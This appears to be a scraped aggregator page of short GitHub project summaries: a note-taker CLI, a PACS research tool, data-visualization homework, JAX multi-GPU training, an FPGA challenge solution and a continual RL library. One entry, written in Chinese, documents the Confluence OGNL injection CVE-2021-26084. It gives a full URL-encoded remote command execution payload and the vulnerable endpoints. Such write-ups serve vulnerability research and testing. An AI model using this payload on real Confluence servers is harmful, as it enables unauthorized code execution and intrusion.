A simple note taker CLI program written in python
A simple note taker program written in python This allows you to snip your todo’s, notes, and your tasks easily without extra charges Requirements Only requirement is python3 and an unix operating system and windows supports python (windows may have limited support) You can create a first note by create argument. example session: ~ $ ./note-taker.py create Enter your Note title: Take out the trash Write your note: I will not forget to take out the
Read moreThe Research PACS on AWS solution facilitates researchers’ access medical images stored in the clinical PACS in a secure and seamless manner
Challenge to solve The rise of new technologies in medical imaging, such as artificial intelligence, is an great opportunity to accelerate research and facilitate clinical improvements. This requires access to innovative services and computational capabilities, that the cloud can provide, as well as imaging and clinical data to support research studies. Historically, it has been difficult for researchers to access medical images collected during the course of clinical care. This sometimes consists of a one-time, manual process where a clinical […]
Read moreCVE-2021-26084,Atlassian Confluence OGNL
CVE-2021-26084,Atlassian Confluence OGNL注入漏洞 Atlassian Confluence 是企业广泛使用的维基系统,其部分版本中存在OGNL 表达式注入漏洞。攻击者可以通过漏洞,不需要任何用户的情况下在目标Confluence 中执行任意代码。 queryString参数执行任意命令 queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 /pages/createpage.action这个接口需要一个可以创建页面的用户权限: /pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 http://your-ip:8090/pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 /pages/createpage-entervariables.action /pages/doenterpagevariables.action 不需要登录,用POST请求 脚本测试: 命令: 脚本利用: 命令: python3 -u http://example.com 参考: https://github.com/vulhub/vulhub/blob/master/confluence/ https://github.com/h3v0x/CVE-2021-26084_Confluence https://www.cnblogs.com/huangxiaosan/p/14290034.html https://blog.csdn.net/weixin_43072923/article/details/117083611 GitHub View Github
Read moreLeyna’s Visualizing Data With Python
Below is information on the number of bilingual students in three school districts in Massachusetts. You will also find information on how the average number of women in national parliament worldwide has changed since 2000. Graph 1: Number of Bilingual Students in Massachusetts School Districts Amherst and Worcester had similar numbers of bilingual students, 6235 and 6541 respectively. Reading, however, has more than double of Amherst and Worcester combined — 27508. Data on the number of bilingual students for all […]
Read moreAn example showing how to use jax to train resnet50 on multi-node multi-GPU
This repo shows how to use jax for multi-node multi-GPU training. The example is adapted from the resnet50 example in dm-haiku (https://github.com/deepmind/dm-haiku/tree/main/examples/imagenet). It only requires each node knows the IP of the rank 0 node, very similar to PyTorch’s DDP. When two containers on the same cluster are running, one can run the following script in each container to launch a multi-node multi-GPU training job: python train.py –server_ip=$ROOT_IP –server_port=$PORT –num_hosts=$NUM_HOSTS –host_idx=$HOST_IDX GitHub View Github
Read moreOne day, One Image With Python
Explication : Version : 1.0 One day, One image -> 1 jour, Une image !Tout les jours vous allez lancer le logiciel ! ( Du moins si vous le souhaitez ) Le logiciel vous proposera une image inédite, il y a le créateur de l’image !La date de quand elle a était faites ! ( Le jour ou vous lancer le logiciel ducoup.. )Le logiciel vous propose une explication de l’image bien précise ! La couleur d’arriere plan du logiciel […]
Read moreLPCV Winner Solution of Spring Team
Background Challenge link: https://lpcv.ai/2021LPCVC/fpga-track Leaderboard: https://lpcv.ai/scoreboard/FPGA21 Environment Xilinx Board: Ultra-96 V2 System: https://github.com/Avnet/Ultra96-PYNQ/releases v2.6 git clone –recursive –shallow-submodules https://github.com/Xilinx/DPU-PYNQ cd DPU-PYNQ/upgrade make pip3 install pynq-dpu Note: replace the image.ub with the LPCV provided one. Build cd nms python3 build.py install Evaluation Evaluate in the jupyternote book: evaluation.ipynb. Contributors Jiahao Hu, Pu Li, Yongqiang Yao, Ruihao Gong Reference Links The detection model
Read moreAvalanche RL: an End-to-End Library for Continual Reinforcement Learning
Avalanche RL is a fork of ContinualAI’s Pytorch-based framework Avalanche with the goal of extending its capabilities to Continual Reinforcement Learning (CRL), bootstrapping from the work done on Super/Unsupervised Continual Learning. It should support all environments sharing the gym.Env interface, handle stream of experiences, provide strategies for RL algorithms and enable fast prototyping through an extremely flexible and customizable API. The core structure and design principles of Avalanche are to remain untouched to easen the learning curve for all continual […]
Read moreIncludes all files needed to satisfy hw02 requirements
Mean Scale Score for Asian and Hispanic Students, Grades 3 – 8 This dataset provides insights into the New York City education system across Asian and Hispanic catagories. The students have different eudcation scale scores across multiple grades. I hope that this visual graph can help provide insight on race, grades, and mean scale scores to depict the a small part of the New York education system. Data Set Average Sea Level Pressure compared to Air Temperature for Ocean Waters […]
Read more